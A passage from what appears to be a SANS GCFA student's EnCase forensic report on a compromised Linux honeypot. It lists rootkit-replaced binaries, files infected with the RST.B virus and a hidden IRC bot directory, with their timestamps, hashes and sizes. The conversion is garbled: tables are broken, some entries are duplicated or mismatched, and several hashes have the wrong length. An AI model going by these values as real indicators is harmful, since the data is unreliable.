Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\.x\libgc.so
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:22:10PM
Last Written: 06/29/03 03:22:08PM
Hash Value 68b329da9893e34099c7d8ad5cb9c940
Physical Size 1,024
Logical Size 1

197) Name mount
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mount
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:55:34PM
Last Written 04/01/02 05:26:24PM
Hash Value 51e4219c74324b6225ec4a9feb64d0e8
Physical Size 69,632
Logical Size 68,863

198) Name pgawk
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pgawk
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:00PM
Last Written 03/18/02 05:25:27AM
Hash Value dc46f094dc32c55945a8a91dfc7da4c
Physical Size 259,072
Logical Size 258,236

199) Name killall
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\killall
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/29/03 03:22:07PM
Last Written 02/28/02 03:09:19PM
Hash Value 9b8536a36dc974a9f3264e68dd6c014f0
Physical Size 13,312
Logical Size 12,320

200) Name login
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/01/02 05:26:23PM
Hash Value f7bbe014bea2e758c25ff9d727ef5e82
Physical Size 28,672
Logical Size 27,839

201) Name login
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/01/02 05:26:23PM
Hash Value f7bbe014bea2e758c25ff9d727ef5e82
Physical Size 28,672
Logical Size 27,839
EnCase Computer Analysis Report

202) Name: nice
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\nice
   Entry Modified: 06/29/03 03:22:11PM
   Last Accessed: 06/30/03 04:50:02PM
   Last Written: 04/08/02 10:02:12AM
   Hash Value: 35cb1f72e74a590e9feab89765bfee6c
   Physical Size: 21,504
   Logical Size: 20,767

203) Name: popauth
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\popauth
   Entry Modified: 06/29/03 03:22:08PM
   Last Accessed: 06/29/03 03:22:10PM
   Last Written: 06/29/03 03:22:08PM
   Hash Value: 6c613bf6376fe55623e56ec331f5aba6
   Physical Size: 36,864
   Logical Size: 36,415

204) Name: pwd
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pwd
   Entry Modified: 06/29/03 03:22:11PM
   Last Accessed: 06/30/03 04:50:02PM
   Last Written: 04/08/02 10:02:12AM
   Hash Value: 772fafa70e799f2867c1092009ce75cf8
   Physical Size: 19,456
   Logical Size: 18,815

205) Name: rc.sysinit
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\rc.sysinit
   Entry Modified: 06/29/03 03:22:09PM
   Last Accessed: 06/30/03 04:45:40PM
   Last Written: 06/29/03 03:22:09PM
   Hash Value: ee965268d25b94ed0ffe0beb16d6e5be890
   Physical Size: 22,528
   Logical Size: 22,379

206) Name: rmdir
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir
   Entry Modified: 06/29/03 03:22:10PM
   Last Accessed: 06/30/03 04:50:00PM
   Last Written: 03/24/02 07:23:18PM
   Hash Value: 9ec6c46ce54bdced26d5dfeff0db0b78
   Physical Size: 20,480
   Logical Size: 19,647

207) Name: true
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\true
   Entry Modified: 06/29/03 03:22:11PM
EnCase Computer Analysis Report

Last Accessed 06/30/03 04:50:02PM
Last Written 04/08/02 10:02:12AM
Hash Value 5a6945a0c9a3f6325526b40d7b13646
Physical Size 15,360
Logical Size 14,367

208) Name umount
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\umount
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 04/01/02 05:26:24PM
Hash Value eaa0bdf117713f0141de92b8a5e7ed12
Physical Size 35,840
Logical Size 35,327

209) Name uname
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\uname
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/08/02 10:02:13AM
Hash Value 79bbfd9a074c1d8bada03456410ebe5
Physical Size 19,456
Logical Size 19,071

210) Name usleep
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\usleep
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/19/02 10:35:23AM
Hash Value c512271dc84a7d892551a73f85d89049
Physical Size 33,792
Logical Size 33,349

211) Name vi
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\vi
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 03/24/03 09:37:31PM
Hash Value 99d036032ca9d35d30d9df34127b2d5b
Physical Size 391,168
Logical Size 390,783

212) Name install
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\sinstall
Entry Modified 06/29/03 03:22:08PM
Last Accessed 06/29/03 03:25:21PM
Last Written 03/24/03 09:37:31PM
Hash Value 5ab9ac0a738a778c85f5537363869d
Physical Size 12,288
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

---

#### Logical Size 12,139

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>213</td>
<td>grep</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\grep</td>
<td>12,139</td>
</tr>
</tbody>
</table>

  Entry Modified 06/29/03 03:22:11PM  
  Last Accessed 06/30/03 04:50:01PM  
  Last Written 03/26/02 11:24:50AM  
  Hash Value 03800b9ba1467bb667ea3d81423614f9  
  Physical Size 122,880  
  Logical Size 122,835

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>214</td>
<td>gettext</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\gettext</td>
<td>44,032</td>
</tr>
</tbody>
</table>

  Entry Modified 06/29/03 03:22:11PM  
  Last Accessed 06/30/03 04:50:02PM  
  Last Written 04/05/02 12:14:26AM  
  Hash Value 8d1cfcee9be26d6fca3f536502af8744  
  Physical Size 44,032  
  Logical Size 43,452

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>215</td>
<td>false</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\false</td>
<td>14,367</td>
</tr>
</tbody>
</table>

  Entry Modified 06/29/03 03:22:11PM  
  Last Accessed 06/30/03 04:50:02PM  
  Last Written 04/08/02 10:02:12AM  
  Hash Value 82e9e2b2e9cb475d576a799fa51ab3df  
  Physical Size 15,360  
  Logical Size 14,367

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>216</td>
<td>echo</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\echo</td>
<td>19,839</td>
</tr>
</tbody>
</table>

  Entry Modified 06/29/03 03:22:11PM  
  Last Accessed 06/30/03 04:50:02PM  
  Last Written 04/08/02 10:02:12AM  
  Hash Value 59a844056de45855afa945cabf044d  
  Physical Size 20,480  
  Logical Size 19,839

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>217</td>
<td>doexec</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\doexec</td>
<td>13,474</td>
</tr>
</tbody>
</table>

  Entry Modified 06/29/03 03:22:11PM  
  Last Accessed 06/30/03 04:50:02PM  
  Last Written 04/19/02 10:35:23AM  
  Hash Value 929999ee2742dccc42e7283c5dc9825922  
  Physical Size 14,336  
  Logical Size 13,474

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>218</td>
<td>dmesg</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg</td>
<td>13,474</td>
</tr>
</tbody>
</table>

  Entry Modified 06/29/03 03:22:11PM  
  Last Accessed 06/30/03 04:50:02PM  
  Last Written 04/19/02 10:35:23AM  
  Hash Value 929999ee2742dccc42e7283c5dc9825922  
  Physical Size 14,336  
  Logical Size 13,474

© SANS Institute 2004,  
As part of GIAC practical repository.  
Author retains full rights.
<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>date</td>
<td></td>
<td>Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ bin\ dmesg</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:24PM</td>
<td>31c3004dda5210896d46d2925bc17dea</td>
<td>13,312</td>
<td>12,843</td>
</tr>
<tr>
<td>cut</td>
<td></td>
<td>Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ bin\ date</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>04/08/02 10:02:12AM</td>
<td>6219a330ee1e688ab8068885eb54a65f</td>
<td>31,744</td>
<td>30,815</td>
</tr>
<tr>
<td>consolechars</td>
<td></td>
<td>Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ bin\ consolechars</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>b5acb19c71a903833d26da5dc5f1ac13</td>
<td>52,224</td>
<td>51,807</td>
</tr>
<tr>
<td>clean</td>
<td></td>
<td>Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ tmp\ .s\ clean</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/06/02 04:26:29AM</td>
<td>9e2970e3a76824403166e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
</tr>
<tr>
<td>chmod</td>
<td></td>
<td>Sans GCFA Cert Assignment\ Linux 7.3 Honey pot system\ bin\ chmod</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:02:10AM</td>
<td>06/29/03 03:22:11PM</td>
<td>901c9d9574357c27510aff2f1630a7</td>
<td>13,312</td>
<td>12,843</td>
</tr>
</tbody>
</table>
Files outside root kit infected with Linux RST.B virus

226) Name mail Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mail
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value e9762cd89f17ec6e14b09a799f66ab48
Physical Size 75,776
Logical Size 75,251

227) Name mt Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value 14465d16bcafa91586bd9d0e4884d5fd
Physical Size 22,528
Logical Size 21,711

228) Name mt Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
## EnCase Computer Analysis Report

**Sans GCFA Cert Assignment:**

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>229)</td>
<td>netstat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\netstat</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>8a6c03c19c4c93dfca31bceee94ce45da</td>
<td>39,936</td>
<td>39,399</td>
</tr>
<tr>
<td>230)</td>
<td>cpio</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cpio</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c61b782df9a5fbae4815ff9d574d55</td>
<td>74,752</td>
<td>74,031</td>
</tr>
<tr>
<td>231)</td>
<td>bash</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\bash</td>
<td>06/19/03 11:34:09AM</td>
<td>06/30/03 04:55:47PM</td>
<td>04/12/02 10:09:54AM</td>
<td>11f4690af5b4e3b56a9477f12aece4f4</td>
<td>541,696</td>
<td>541,096</td>
</tr>
<tr>
<td>232)</td>
<td>chgrp</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chgrp</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>4912bddd5af88beebe53a5c2db1cdceea</td>
<td>25,600</td>
<td>25,183</td>
</tr>
<tr>
<td>233)</td>
<td>ed</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ed</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c08b691329e671e3dea363239e2c9d24</td>
<td>92,160</td>
<td>91,823</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>-------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>chown</td>
<td>File</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>1e9625aa68abf521f64603af3b8ff8b8</td>
<td>27,648</td>
<td>27,039</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dd</td>
<td>File</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>6dd588d7284f7606d6c4f90af6dbb74a</td>
<td>37,888</td>
<td>37,375</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ln</td>
<td>File</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>44ac2d1c35045f3f2052d9d21aea75e8</td>
<td>29,696</td>
<td>28,863</td>
<td></td>
<td></td>
</tr>
<tr>
<td>mkdir</td>
<td>File</td>
<td>06/29/03 03:39:21PM</td>
<td>06/29/03 03:41:11PM</td>
<td>06/29/03 03:39:21PM</td>
<td>7aae71b278f929d854f489fda82f98fd</td>
<td>23,552</td>
<td>22,655</td>
<td></td>
<td></td>
</tr>
<tr>
<td>mv</td>
<td>File</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
<td>52,255</td>
<td></td>
<td></td>
</tr>
<tr>
<td>egrep</td>
<td>File</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>1e9625aa68abf521f64603af3b8ff8b8</td>
<td>27,648</td>
<td>27,039</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td>--------------</td>
<td>--------------</td>
<td>------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:34:42AM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:49AM</td>
<td>1a1c4e75e82a51bc570350aa22184913</td>
<td>1,024</td>
<td>33</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

240) Name: mnetstat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mnetstat
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 06/29/03 03:25:20PM
Hash Value: 3939b3986c7342c121aa395a658a5232
Physical Size: 109,568
Logical Size: 108,932

241) Name: bzip2recover
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 5d50b7a01bbf832876e7092dc91d70f4
Physical Size: 16,384
Logical Size: 15,624

242) Name: gencat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 84492adb4dddeccff3e3c8a30c99725b
Physical Size: 20,480
Logical Size: 18,040

243) Name: gencat
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 84492adb4dddeccff3e3c8a30c99725b
Physical Size: 20,480
Logical Size: 18,040

244) Name: getent
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\getent
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: f1a14ddaf6053137dbda6798ee90f5a9
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>245)</td>
<td>iconv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/iconv</td>
<td>20,480</td>
<td>19,240</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified 06/29/03 11:53:01PM</td>
<td>Last Accessed 06/29/03 11:53:01PM</td>
<td>Last Written 06/29/03 11:53:01PM</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value cfaa21a7bab79204868fa7265a7870e6</td>
<td>Physical Size: 53,248</td>
<td>Logical Size: 51,004</td>
</tr>
<tr>
<td>246)</td>
<td>lddlibc4</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/lddlibc4</td>
<td>8,192</td>
<td>7,800</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified 06/29/03 11:53:01PM</td>
<td>Last Accessed 06/29/03 11:53:01PM</td>
<td>Last Written 06/29/03 11:53:01PM</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value 2e4e896f0ea9192ef5d94673d79dd403</td>
<td>Physical Size: 8,192</td>
<td>Logical Size: 7,800</td>
</tr>
<tr>
<td>247)</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/localedef</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified 06/29/03 11:53:01PM</td>
<td>Last Accessed 06/29/03 11:53:01PM</td>
<td>Last Written 06/29/03 11:53:01PM</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value bb5be07bef4f5b4d281cf00e5a4fdbc3</td>
<td>Physical Size: 299,008</td>
<td>Logical Size: 298,828</td>
</tr>
<tr>
<td>248)</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/localedef</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified 06/29/03 11:53:01PM</td>
<td>Last Accessed 06/29/03 11:53:01PM</td>
<td>Last Written 06/29/03 11:53:01PM</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value bb5be07bef4f5b4d281cf00e5a4fdbc3</td>
<td>Physical Size: 299,008</td>
<td>Logical Size: 298,828</td>
</tr>
</tbody>
</table>

| 250) | sprof | File | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/loc | 53,248 | 51,004 |
|      |      |      | Entry Modified 06/29/03 11:53:01PM | Last Accessed 06/29/03 11:53:01PM | Last Written 06/29/03 11:53:01PM |
|      |      |      | Hash Value cfaa21a7bab79204868fa7265a7870e6 | Physical Size: 53,248 | Logical Size: 51,004 |
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

#### EnCase Computer Analysis Report

File | Full Path | Description |
---|---|---|
Sprof | /usr/bin/sprof |  

**Entry Modified**: 06/29/03 11:53:01PM  
**Last Accessed**: 06/29/03 11:53:01PM  
**Last Written**: 06/29/03 11:53:01PM  
**Hash Value**: 4206b74dd02af036ee754efe56898b3b  
**Physical Size**: 24,576  
**Logical Size**: 20,552

---

<table>
<thead>
<tr>
<th>Name</th>
<th>File</th>
<th>Full Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>db1_dump185</td>
<td>/usr/bin/db1_dump185</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Entry Modified**: 06/29/03 11:53:01PM  
**Last Accessed**: 06/29/03 11:53:01PM  
**Last Written**: 06/29/03 11:53:01PM  
**Hash Value**: 174712fef4fb412ad992e992e3a35182  
**Physical Size**: 12,288  
**Logical Size**: 11,525

---

<table>
<thead>
<tr>
<th>Name</th>
<th>File</th>
<th>Full Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>lsattr</td>
<td>/usr/bin/lsattr</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Entry Modified**: 06/29/03 11:53:01PM  
**Last Accessed**: 06/29/03 11:53:01PM  
**Last Written**: 06/29/03 11:53:01PM  
**Hash Value**: 56853d1f05a0a1562c83811c02644930  
**Physical Size**: 12,288  
**Logical Size**: 9,684

---

<table>
<thead>
<tr>
<th>Name</th>
<th>File</th>
<th>Full Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>eject</td>
<td>/usr/bin/eject</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Entry Modified**: 06/29/03 11:53:01PM  
**Last Accessed**: 06/29/03 11:53:01PM

---
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 302

Last Written 06/29/03 11:53:01PM
Hash Value 85042620b5dd45a67c0280c9a3751793
Physical Size 28,672
Logical Size 25,812

256) Name eject
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\eject
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 85042620b5dd45a67c0280c9a3751793
Physical Size 28,672
Logical Size 25,812

257) Name file
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\file
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 63a4be81d1843be376f98b0986ff836a
Physical Size 49,152
Logical Size 48,674

258) Name file
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\file
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 63a4be81d1843be376f98b0986ff836a
Physical Size 49,152
Logical Size 48,674

259) Name ksymoops
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 0d9ddca9e28dcc0313ac4012f20c6c31
Physical Size 450,560
Logical Size 448,456

260) Name ksymoops
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 0d9ddca9e28dcc0313ac4012f20c6c31
Physical Size 450,560
Logical Size 448,456
## IRC Files

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>263) Name</td>
<td>services</td>
<td>Description File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.font-unic\X11-pipe/inetd/services</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:59PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Last Written: 03/15/02 07:27:40PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Hash Value: a964f156ab911428a2ae6e8349842f13</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Physical Size: 475,136</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logical Size: 474,596</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>264) Name</td>
<td>randpickup.e</td>
<td>Description File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>3,072</td>
<td>2,495</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.font-unic\X11-pipe/randfiles/randpickup.e</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Last Written: 10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Hash Value: d05256617d3228d1eb4da3e644bd0529</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Physical Size: 3,072</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logical Size: 2,495</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>265) Name</td>
<td>Makefile.in</td>
<td>Description File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.font-unic\X11-pipe/src/Makefile.in</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
